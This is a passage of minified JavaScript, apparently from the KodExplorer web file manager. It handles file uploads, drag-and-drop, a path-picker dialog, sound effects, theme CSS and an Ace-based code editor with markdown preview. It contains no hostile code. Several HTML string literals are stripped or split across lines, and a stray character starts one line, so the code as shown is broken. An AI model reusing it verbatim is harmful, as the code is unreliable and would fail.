    ';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,t){var i=urlEncode(e.file.fullPath);(void 0==i||"undefined"==i)&&(i=""),t.fullPath=i,t.upload_to=e.file.upload_to}).on("uploadProgress",function(e,t){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var i=getSpeed(e,t),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('
    ').appendTo(a).find(".progress-bar")),a.find(".state").text((100*t).toFixed(1)+"%("+i+")"),n.css("width",100*t+"%")}).on("uploadAccept",function(e,t){if(e.file.serverData=t,!t.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(t.info)}catch(i){}}).on("uploadSuccess",function(e){var t=36*$("#"+e.id).index(".item");$(".uploader-content").scrollTop(t),file_finished++;var i=e.serverData;if(i&&i.data){var a=LNG[i.data];i.code?($("#"+e.id).addClass("success"),$("#"+e.id).find(".state").text(a),$("#"+e.id).find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove")):($("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").text(a).attr("title",a))}uploader.removeFile(e),$("#"+e.id).find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,t){var i=LNG.upload_error+"("+t+")";e.serverData&&0==e.serverData.code&&(i=LNG[e.serverData.data],Tips.tips(LNG[e.serverData.data],!1)),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(i)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='
    '+LNG.upload_drag_tips+"
    ";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var t=e.dataTransfer.getData("text/plain");t&&"http"==t.substring(0,4)&&ui.pathOperate.appAddURL(t)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,t,i){var a=$(i.DOM.wrap),n=t.frames.OpenpathSelectApi,o='';"file"==e.type&&(o+=''+e.allowExt+""),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(t){var i=e.allowExt.split("|"),a=core.pathExt(t);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,i)?!0:!1},r=function(){var t=n.ui.fileLight.fileListSelect(),i=[];if(e.single){var a=$(t.get(0));if("all"==e.type&&0==t.length)i={file:[],folder:[]};else if("file"==e.type&&0==t.length)i=[];else if("folder"==e.type)i=[n.G.this_path],a.hasClass("folderBox")&&(i=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);i=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(i={file:[o],folder:[]})}}else{var r=[],l=[];t.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?i=l:"file"==e.type?i=r:"all"==e.type&&(i={file:r,folder:l})}c(i)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(t){var i=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;t.length>r;r++)l(t[r])&&s.push(t[r]);t=s}if(0==t.length||"all"==e.type&&0==t.file.length&&0==t.folder.length)o.addClass("disable"),i.attr("result",""),i.val("");else{var c=hashEncode(jsonEncode(t)),d="";if(e.single)d=n.core.pathThis(t[0]);else{var p=t;"all"==e.type&&(p=t.folder.concat(t.file)),$.each(p,function(e,t){d+=n.core.pathThis(t)+", "})}o.removeClass("disable"),i.attr("result",c),i.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(t,i){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";t=$.extend(a,t),t.firstPath&&(n+="&path="+t.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:t.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof i){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?t.single&&"all"!=t.type?i(a[0]):i(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(t,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(t){"function"==typeof e&&e(t)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var t={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},i=function(t){var i="x-play-sound";0==$("."+i).length&&$('
    ').appendTo("body");var a=G.static_path+"others/sound/"+t,n=e("./myPlayer");n.playSound(a,$("."+i))};return{playSoundFile:i,playSound:function(e){i(t[e])}}}),define("app/common/tpl/copyright.html",[],'\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/edit/edit",["./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist"],function(e){var t={},i=void 0,a=e("./preview");e("lib/ace/src-min-noconflict/ext-modelist"),aceModeList=ace.require("ace/ext/modelist"),e.async("lib/ace/src-min-noconflict/ext-language_tools",function(){ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager})}),e.async("lib/ace/emmet.min.js",function(){e.async("lib/ace/src-min-noconflict/ext-emmet",function(){ace.require("ace/ext/emmet")})});var n=ace.require("ace/lib/net");n.loadScript.hook("loadScript",n,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments});var o=ace.require("ace/mouse/default_handlers").DefaultHandlers;o.prototype.onMouseDown.hook("onMouseDown",o.prototype,function(){arguments[0].preventDefault=function(){return!0}});var s=ace.require("ace/virtual_renderer").VirtualRenderer;s.prototype.showComposition.hook("showComposition",s.prototype,function(){return this.session.selection.rangeCount>1?"hookReturn":void 0});var r=ace.require("ace/editor").Editor;r.prototype.$checkMultiselectChange.hook("$checkMultiselectChange",r.prototype,function(){return"hookReturn"});var l,c=function(e,i){if(void 0==i||void 0==e||1>t.length)return"";for(var a in t)try{if(t[a].kod[e]==i)return t[a].kod.uuid}catch(n){}return""},d=function(){var e={font_size:"15px",theme:"tomorrow",show_gutter:1,auto_wrap:1,auto_complete:1,function_list:1,tab_size:4,soft_tab:1,display_char:0,font_family:"Menlo",keyboard_type:"ace"};for(var t in e)G.code_config[t]===void 0&&(G.code_config[t]=e[t]);auto_function_list=parseInt(G.code_config.function_list),Toolbar.toolbarSelected(),k(),$("body").mouseup(function(e){var t=["markdown_menu_box","markdown_setting","markdown_help"];$.each(t,function(t,i){$(e.target).hasClass(i)||0!=$(e.target).parents("."+i).length||$("."+i).addClass("hidden")})}),Mousetrap.bind(["ctrl+f","command+f"],function(e,t){switch(stopPP(e),t){case"ctrl+f":case"command+f":break;default:}})},p=function(e){var t=core.pathExt(e),i=aceModeList.getModeForPath(e).name;if("text"==i)for(var a in core.fileOpenMode)if(-1!=$.inArray(t,core.fileOpenMode[a])){i=a;break}return i},u=function(e){var i,a="id_"+UUID();if(void 0==e||""==e||"undefined"==e)return i={uuid:a,name:"newfile.txt",charset:"utf-8",filename:"",mode:p("test.txt"),the_url:""},f(i),m(i),$(".edit_body .this").removeClass("this"),$(".edit_body pre#"+a).parent().addClass("this"),$(".tab_"+i.uuid).removeClass("loading"),x(),_(),Toolbar.toolbarSelected(),void 0;var n="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(n="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),i={charset:"utf-8",uuid:a,name:core.pathThis(e),filename:e,mode:p(e),the_url:n},f(i),t[i.uuid]={kod:{filename:i.filename}},$.ajax({dataType:"json",url:n,error:function(e,t,a){z(i.uuid),core.ajaxError(e,t,a)},success:function(e){if($(".tab_"+i.uuid).removeClass("loading"),!e||!e.code)return z(i.uuid),Tips.tips(e);if(0==$("#"+i.uuid).length)return z(i.uuid),void 0;if(!e.code)return Tips.tips(e),z(i.uuid),void 0;var n=e.data;1==n.base64&&(n.content=base64Decode(n.content));var o="";if("php"==n.ext&&0==n.content.indexOf(o)){var s=n.content.substr(o.length);n.content=o+js_beautify(s),i.mode=p("test.json")}"oexe"==n.ext&&(n.content=js_beautify(n.content)),t[a]=void 0,$("#"+a).text(n.content),m(i);var r=t[a];r.kod.charset=n.charset,r.kod.base64=n.base64,r.navigateTo(0),r.moveCursorTo(0,0),R(),x(),_(),Toolbar.toolbarSelected()}})},f=function(t){var i=core.iconSmall(core.pathExt(t.name)),a='
    '+'
    '+i+htmlEncode(t.name)+"
    "+' '+'
    '+"
    ";$(a).insertBefore(".edit_tab .add");var n=e("./tpl/edit_tab_content.html"),o=template.compile(n),s=o({LNG:LNG,uuid:t.uuid});if($(".edit_body .tabs").append(s),b(t.uuid),Tap.resetWidth("add"),k(),"markdown"==t.mode&&$.getUrlParam("sid")){var r=$("#"+t.uuid).parent(".edit_content");r.addClass("markdown_full_page")}},h=function(e){clearTimeout(l),l=!1,l=setTimeout(function(){try{e.kod.preview.editChange()}catch(t){}},300)},m=function(e){var i=ace.edit(e.uuid);i.setTheme("ace/theme/"+G.code_config.theme),void 0!=e.mode&&i.getSession().setMode("ace/mode/"+e.mode),i.getSession().setTabSize(parseInt(G.code_config.tab_size)),i.getSession().setUseSoftTabs(parseInt(G.code_config.soft_tab)),i.getSession().setUseWrapMode(parseInt(G.code_config.auto_wrap)),i.renderer.setShowGutter(parseInt(G.code_config.show_gutter)),i.renderer.setScrollMargin(0,100,0,0),"ace"==G.code_config.keyboard_type?i.setKeyboardHandler():i.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type),i.setShowPrintMargin(!1),i.setPrintMarginColumn(120),i.$blockScrolling=1/0,i.setDragDelay(20),i.setShowInvisibles(parseInt(G.code_config.display_char)),i.setFontSize(G.code_config.font_size),i.setAnimatedScroll(!0),i.setOptions({enableEmmet:!0,enableSnippets:!0,enableBasicAutocompletion:!0,enableLiveAutocompletion:!0}),i.on("change",function(){L(i,!0),h(i)}),i.on("changeSelection",function(){M()}),i.commands.addCommand({name:"editSave",bindKey:{win:"Ctrl-S",mac:"Command-S",sender:"editor|cli"},exec:function(e){N(e.kod.uuid)}}),i.commands.addCommand({name:"editFunction",bindKey:{win:"Ctrl-Shift-E",mac:"Command-Shift-E",sender:"editor|cli"},exec:function(){Toolbar.doAction("function_list")}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-Shift-S",mac:"Command-Shift-S"},exec:function(){Toolbar.doAction("preview")}}),i.commands.addCommand({name:"showKeyboardShortcuts",bindKey:{win:"Ctrl-Alt-h",mac:"Command-Alt-h"},exec:function(e){ace.config.loadModule("ace/ext/keybinding_menu",function(t){t.init(e),e.showKeyboardShortcuts()})}}),i.commands.addCommand({name:"convertIndent",exec:function(e,t){ace.config.loadModule("ace/ext/whitespace",function(i){var a={reset_size:G.code_config.soft_tab?" ":" ",to_space:" ",to_tabs:" "},n=a[t];e.session.setTabSize(G.code_config.tab_size),e.session.setUseSoftTabs(G.code_config.soft_tab),i.detectIndentation(e.session),i.convertIndentation(e.session,n,G.code_config.tab_size),i.trimTrailingSpace(e.session,n)})}}),i.commands.addCommand({name:"phpBeautify",bindKey:{win:"Ctrl-Shift-B",mac:"Command-Shift-B"},exec:function(e){return"ace/mode/php"!=e.session.$modeId?(Tips.tips("Only for php mode!","warning"),void 0):(ace.config.loadModule("ace/ext/beautify",function(t){t.beautify(e.session)}),void 0)}}),i.commands.addCommand({name:"find",bindKey:{win:"Ctrl-F",mac:"Command-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e)})}}),i.commands.addCommand({name:"replace",bindKey:{win:"Ctrl-H",mac:"Command-Option-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e,!0)})}}),i.commands.addCommand({name:"closeSearchBar",bindKey:"Esc",exec:function(){Editor.searchBox&&Editor.searchBox.hide()}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-command-G",mac:"Ctrl-command-G"},exec:function(e){e.findAll(e.session.getTextRange()),M()}}),i.commands.addCommand({name:"refresh",bindKey:{win:"F5",mac:"F5"},exec:function(){Toolbar.doAction("refresh")}}),e.mode||(e.mode=""),i.kod={mode:e.mode,uuid:e.uuid,name:e.name,base64:!1,charset:"utf-8",the_url:e.the_url,filename:e.filename},i.hasChanged=!1,t[e.uuid]=i,i.kod.preview=new a(i),g()},_=function(){var e=F();if(e){e.focus(),e.resize();try{var t=window.parent.$.dialog.list.openEditor,i=Editor.current().kod.filename,a=''+htmlEncode(i);if(t){t.title(a);var n="./index.php?editor/edit";G.sid!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid),n=n+"#filename="+urlEncode(i),window.parent.$(".openEditor .aui_content iframe").attr("src",n)}}catch(o){}}},v=function(e,t){try{Editor.current().completer.popup.hide()}catch(a){}$(".edit_tab .this").removeClass("this"),$(".edit_tab .tab_"+e).addClass("this"),i=e,t&&$(".edit_tab .this").stop(!0,!0).animate({opacity:.5},50).animate({opacity:.8},50).animate({opacity:.5},50).animate({opacity:1},50,function(){}),_(),M(),E(),x(),Toolbar.toolbarSelected(),g()},g=function(){var e=F();e&&void 0!==e.kod&&Editor.searchBox&&Editor.searchBox.isShow()&&(Editor.searchBox.setEditor(Editor,Editor.current()),Editor.searchBox.find(!1,!1,!0))},b=function(e,t){void 0!=e&&""!=e&&($(".edit_body .this").removeClass("this"),$(".edit_body #"+e).parent().addClass("this"),v(e,t),P(function(t){t.ui.tree.setSelect($(".tab_"+e).attr("title"))}))},y=function(e,a,n){var o=t;$.extend(!0,{},G.code_config),void 0!=n&&(o={},o[n]?o[n]=t[n]:o[i]=t[i]);var s=function(e){var t=Number(!Number(e));return isNaN(t)?0:t};a!==void 0?G.code_config[e]=a:(G.code_config[e]=s(G.code_config[e]),a=G.code_config[e]),Toolbar.toolbarSelected();for(var r in o){var l=o[r];if(l&&l.kod&&l.resize)switch(-1!=$.inArray(e,["font_size","auto_wrap","font_family"])&&h(l),e){case"theme":l.setTheme("ace/theme/"+a);break;case"tab_size":l.getSession().setTabSize(parseInt(a));break;case"show_gutter":l.renderer.setShowGutter(parseInt(a));break;case"soft_tab":l.getSession().setUseSoftTabs(parseInt(a));break;case"font_size":l.setFontSize(parseInt(a));break;case"auto_wrap":l.getSession().setUseWrapMode(parseInt(a));break;case"display_char":l.setShowInvisibles(parseInt(a));break;case"font_family":k();break;case"keyboard_type":"ace"==G.code_config.keyboard_type?l.setKeyboardHandler():l.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type);break;case"function_list":break;case"auto_complete":l.setOptions({enableLiveAutocompletion:G.code_config[e]}),l.$enableBasicAutocompletion=G.code_config[e];break;default:}}$.ajax({url:"./index.php?editor/setConfig&k="+e+"&v="+G.code_config[e],dataType:"json",success:function(){}})},k=function(){var e=G.code_config.font_family;e="'"+e+"',Monaco,Menlo,Consolas,source-code-pro,'Liberation Mono','Ubuntu Mono',Courier,'Helvetica Neue','Microsoft Yahei','微软雅黑','Lantinghei SC',STXihei,WenQuanYi,sans-serif",$(".ace_editor_content").css("font-family",e)},w=function(e){var i=t;for(var a in i){var n=i[a];if(n&&n.kod&&n.resize)switch(e){case"resize":n.resize();break;case"setting":n.commands.exec("showSettingsMenu",n);break;default:}}"resize"==e&&x()},x=function(){var e=F();if(e){var t=$("#"+e.kod.uuid).parent().find(".edit_right_frame"),i=0;t.hasClass("hidden")||(i=100*(t.width()/$(window).width())),$(".edit_body .bottom_toolbar").css("right",i+"%")}},L=function(e,t){t!=e.hasChanged&&(e.hasChanged=t,$(".edit_tab .tabs .tab_"+e.kod.uuid).toggleClass("edit_changed"))},N=function(e,a){if(void 0!=i){void 0==e&&(e=i),void 0==a&&(a=!1);var n=t[e];if(n.hasChanged){if(void 0==n||""==n)return Tips.tips(LNG.data_error,"warning"),void 0;F().focus();var o=n.kod.filename;""==o?core.api.pathSelect({type:"file",title:LNG.newfile_save_as},function(e){T(n,e,a)}):T(n,o,a)}}},C=function(){for(var e in t)""!=t[e].kod.filename&&N(e)},T=function(e,t,i){var a={path:t,charset:e.kod.charset,filestr:e.getValue()},n="./index.php?editor/fileSave";G.share_page!==void 0&&(n="./index.php?share/fileSave&user="+G.user+"&sid="+G.sid),e.kod.base64&&(a.base64="1",a.filestr=base64Encode(a.filestr)),a.filestr=urlEncode(a.filestr),""==e.kod.filename&&(a.create_file=1),Tips.loading(LNG.getting,!0),$(".tab_"+e.kod.uuid).addClass("loading"),$.ajax({type:"POST",dataType:"json",url:n,data:a,error:core.ajaxError,success:function(a){return $(".tab_"+e.kod.uuid).removeClass("loading"),a.code?(Tips.close(LNG.success,!0),""==e.kod.filename&&(e.kod.filename=t,S(e)),L(e,!1),_(),i&&z(e.kod.uuid),void 0):(Tips.close(a,!1),void 0)}})},S=function(e){var t=e.kod.filename; -e.kod.name=core.pathThis(t),e.kod.mode=p(t),e.kod.the_url="./index.php?editor/fileGet&filename="+t;var i=$(".tab_"+e.kod.uuid);i.attr("title",t),i.find(".name").html(e.kod.name)},j=function(e){if(void 0==e&&(e=i),void 0==t[e])return z(e),void 0;var a=t[e];a.hasChanged?$.dialog({title:LNG.warning,resize:!1,background:"#fff",opacity:.4,lock:!0,icon:"question",content:a.kod.name+"
    "+LNG.if_save_file,padding:40,button:[{name:LNG.button_save,focus:!0,callback:function(){N(e,!0)}},{name:LNG.button_not_save,callback:function(){z(e)}}]}):z(e)},z=function(e){delete t[e];var i="",a=$(".edit_tab .tab"),n=$(".edit_tab .tab_"+e),o=$(".edit_body pre#"+e).parent();n.removeClass("edit_tab_menu"),n.hasClass("this")?($(a[0]).attr("uuid")==e?i=$(a[1]).attr("uuid"):a.each(function(){var t=$(this).attr("uuid");return t==e?!1:(i=t,void 0)}),""!=i&&$(".edit_body pre#"+i).addClass("this"),o.remove(),Tap.resetWidth("remove",n,i)):(o.remove(),Tap.resetWidth("remove",n)),E()},E=function(){0==$(".edit_body .tabs .edit_content").length?(F()&&F().kod.preview.close(),$(".disable_mask,.introduction").removeClass("hidden"),$(".bottom_toolbar").addClass("hidden"),$(".edit_body .tabs").addClass("hidden")):($(".disable_mask,.introduction").addClass("hidden"),$(".bottom_toolbar").removeClass("hidden"),$(".edit_body .tabs").removeClass("hidden")),P(function(e){var t=[];$(".edit_tab .tabs .edit_tab_menu").each(function(){var e=$(this).attr("title");e&&t.push(e)}),e.ui.fileHistory(t)})},P=function(e){ShareData.frameTop("",function(t){t.Config&&"editor"==t.Config.pageApp&&0!=t.$("#page_editor").length&&"function"==typeof e&&e(t)})},D=function(){for(var e in t)try{if(t[e].hasChanged)return!0}catch(i){}return!1},A=function(e){core.setSkin(e)},F=function(){return i&&t[i]&&t[i].focus?t[i]:!1},O=function(e){var i=F();e&&(i=t[e]);var a=i.kod.the_url,e=i.kod.uuid;return""==a?(Tips.tips(LNG.not_exists,"warning"),void 0):(Tips.loading(LNG.getting,!0),$(".tab_"+e).addClass("loading"),$.ajax({dataType:"json",url:a,error:function(t,i,a){Tips.close(),$(".tab_"+e).removeClass("loading"),core.ajaxError(t,i,a)},success:function(t){if(Tips.close(),$(".tab_"+e).removeClass("loading"),!t.code)return Tips.close(t),void 0;Tips.close(LNG.success,!0);var a=t.data;1==a.base64&&(a.content=base64Decode(a.content));var n="";if(null==a.content&&(a.content=""),"php"==a.ext&&0==a.content.indexOf(n)){var o=a.content.substr(n.length);a.content=n+js_beautify(o)}"oexe"==a.ext&&(a.content=js_beautify(a.content)),i.kod.charset=a.charset,i.kod.base64=a.base64,i.getSession().setValue(a.content);var s=i.getFirstVisibleRow();i.scrollToLine(s),L(i,!1)}}),void 0)},R=function(){ShareData.data("FILE_SEARCH_AT")&&setTimeout(function(){for(var e=ShareData.data("FILE_SEARCH_AT"),t=F(),i={row:e.line-1,column:0};e.lineIndex-->=0;){t.selection.moveTo(i.row,i.column);var a=-1==e.lineIndex?!0:!1,n=t.find(e.search,{},a);i=n.end}t.session.highlight(t.$search.$options.re),t.renderer.updateBackMarkers(),ShareData.remove("FILE_SEARCH_AT")},100)},I=function(e){e||(e=G.code_config.theme);var t=["ambiance","idle_fingers","monokai","pastel_on_dark","twilight","solarized_dark","tomorrow_night_blue","tomorrow_night_eighties"];return inArray(t,e)?!0:!1},M=function(){var e=Editor.current();if(e){var t=e.selection.getCursor(),i=t.row+1+":"+(t.column+1);e.selection.rangeCount>1&&(i+=" ["+e.selection.rangeCount+"]");for(var a=e.selection.getAllRanges(),n=0,o=0,s=0;a.length>s;s++){var r={start:a[s].start,end:a[s].end},l=e.selection.doc.getTextRange(r);n+=l.length,o+=r.end.row-r.start.row+1}n>0&&(i+=" ("+n+" ~ "+o+")"),$(".editor_position").html(i)}};return{init:d,current:F,getParentEditor:P,hasFileSave:D,saveConfig:y,doAction:w,setTheme:A,isBlackTheme:I,select:b,remove:j,save:N,saveall:C,refresh:O,getFileMode:p,aceModeList:aceModeList,add:function(e){e=urlDecode(e);var t=c("filename",e);""!=t?(b(t,!0),R()):u(e)}}}),define("app/src/edit/preview",["./preview_markdown","./function_list","./markdownTools"],function(e){return function(t){var i=$("#"+t.kod.uuid).parent(".edit_content"),a=i.find(".edit_right_frame"),n=$("#"+t.kod.uuid),o=i.find(".function_list_frame"),s=i.find(".preview_url_frame"),r=i.find(".preview_markdown_frame"),l=e("./preview_markdown"),c=e("./function_list"),d=e("./markdownTools"),p=new l(t),u=new c(t),f=10,h=function(){i.find(".preview_url_tool input").keyEnter(L);var e=i.find(".resize"),t=0;e.drag({start:function(){t=a.width(),e.addClass("resize_active"),$("body").css("cursor","col-resize"),a.append('
    '),a.addClass("can_not_select")},move:function(i){var o=t-i,s=$(window).width();o>=s-f&&(o=s-f),f>=o&&(o=f),n.width(s-o),a.width(o),e.css("left",s-o+"px")},end:function(){e.removeClass("resize_active"),$("body").css("cursor","default"),a.find(".mask_view").remove(),a.removeClass("can_not_select"),m()}})},m=function(){if(0==$(".markdown_full_page").length){if(a.is(":visible")){var e=a.width(),t=$(window).width();e>=t-f&&(e=t-f),f>=e&&(e=f);var s=100*parseFloat(e/t);a.width(s+"%"),n.width(100-s+"%");var l=i.find(".resize");l.css("left",100-s+"%"),o.is(":visible")&&a.attr("data-size-width",e),r.is(":visible")&&p.refreshScroll()}Editor.doAction("resize")}},_=function(){i.find(".edit_right_frame .box a,.function_list_tool .box a,[markdown_action]").bind("click",function(t){var a=$(this).attr("class");switch($(this).attr("markdown_action")&&(a=$(this).attr("markdown_action")),a){case"tool_markdown_menu":if(i.find(".markdown_menu_box").toggleClass("hidden"),!i.find(".markdown_menu_box").hasClass("hidden")){var n=p.markdownMenu(i.find(".markdown_preview"));i.find(".markdown_menu_box .content").html(n)}break;case"tool_markdown_download_html":p.markdownDownload(i.find(".markdown_preview").html(),"html");break;case"tool_markdown_download_pdf":p.markdownDownload(i.find(".markdown_preview").html(),"pdf");break;case"tool_markdown_download_markdown":p.markdownDownload("","md");break;case"tool_markdown_full":i.toggleClass("markdown_full"),i.hasClass("markdown_full")&&(i.find(".ace_editor").css("width","50%"),i.find(".edit_right_frame").css("width","50%"),i.find(".resize").css("left","50%")),Editor.doAction("resize");break;case"tool_markdown_setting":i.find(".markdown_setting").toggleClass("hidden");break;case"tool_markdown_help":if(""==i.find(".markdown_help .content").html()){var n="";n="zh-CN"==G.lang||"zh-TW"==G.lang?e("./tpl/markdown_help_cn.html"):e("./tpl/markdown_help.html"),i.find(".markdown_help .content").html(n)}i.find(".markdown_help").toggleClass("hidden");break;case"tool_markdown_max":i.toggleClass("markdown_full_page"),i.hasClass("markdown_full_page")||m();break;case"tool_open_url":b();break;case"tool_refresh":L();break;case"tool_close":x();break;case"tool_markdown_help":break;default:}return stopPP(t),!1})},v=function(e){var l=0;if(a.removeClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").removeClass("hidden"),"function_list"==e)o.removeClass("hidden"),l=200,u.refresh(),a.find(".function_search input").focus();else if("markdown"==e)l=.51*$(window).width(),r.removeClass("hidden"),p.refresh(),d.bindEvent(i,t);else if("html"==e){l=.5*$(window).width(),s.removeClass("hidden");var c=t.kod.filename;c=core.path2url(c),a.find(".preview_url_tool input").val(c),a.find("iframe").attr("src",c)}a.css({width:l}),n.css({width:$(window).width()-l}),m()},g=function(){o.hasClass("hidden")?r.hasClass("hidden")||p.refresh():u.refresh()},b=function(e){if(r.hasClass("hidden"))window.open(i.find(".preview_url_frame input").attr("value"));else{var t=p.markdown2html(i.find(".markdown_preview").html()),a=window.open("","_blank","");a.document.open("text/html","replace"),a.opener=null,a.document.write(t),a.document.close()}stopPP(e)},y=function(){return u.support(t.kod.mode)?(o.hasClass("hidden")?(auto_function_list=1,v("function_list")):(auto_function_list=0,x()),Editor.saveConfig("function_list",auto_function_list),void 0):(Tips.tips(LNG.not_support,"warning"),void 0)},k=function(){a.hasClass("hidden")?w()||v("html"):r.hasClass("hidden")&&v("html")},w=function(){return auto_function_list&&u.support(t.kod.mode)?(v("function_list"),!0):"markdown"==t.kod.mode?(v("markdown"),!0):!1},x=function(){(s.hasClass("hidden")||!w())&&(a.addClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").addClass("hidden"),$(".markdown_full_page").removeClass("markdown_full_page"),n.css("width","100%"),Editor.doAction("resize"))},L=function(){var e=i.find(".preview_url_tool input"),t=e.attr("value");i.find(".open_ie").attr("href",t),i.find("iframe").attr("src",t)},N=function(){h(),_(),w();var e,n=function(){clearTimeout(e),e=!1,e=setTimeout(function(){o.is(":visible")&&(a.width(a.attr("data-size-width")),m())},10)};$(window).bind("resize",n),d.bindEvent(i,t)};return N(),{open:v,editChange:g,close:x,resize:m,openFunctionList:y,previewForce:k}}}),define("app/src/edit/preview_markdown",[],function(e){var t=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+='
  • '+$(this).text()+"
  • "}),t="
      "+t+"
    "},i=function(e){e.find("a").attr("target","_blank");var i="

    [TOC]

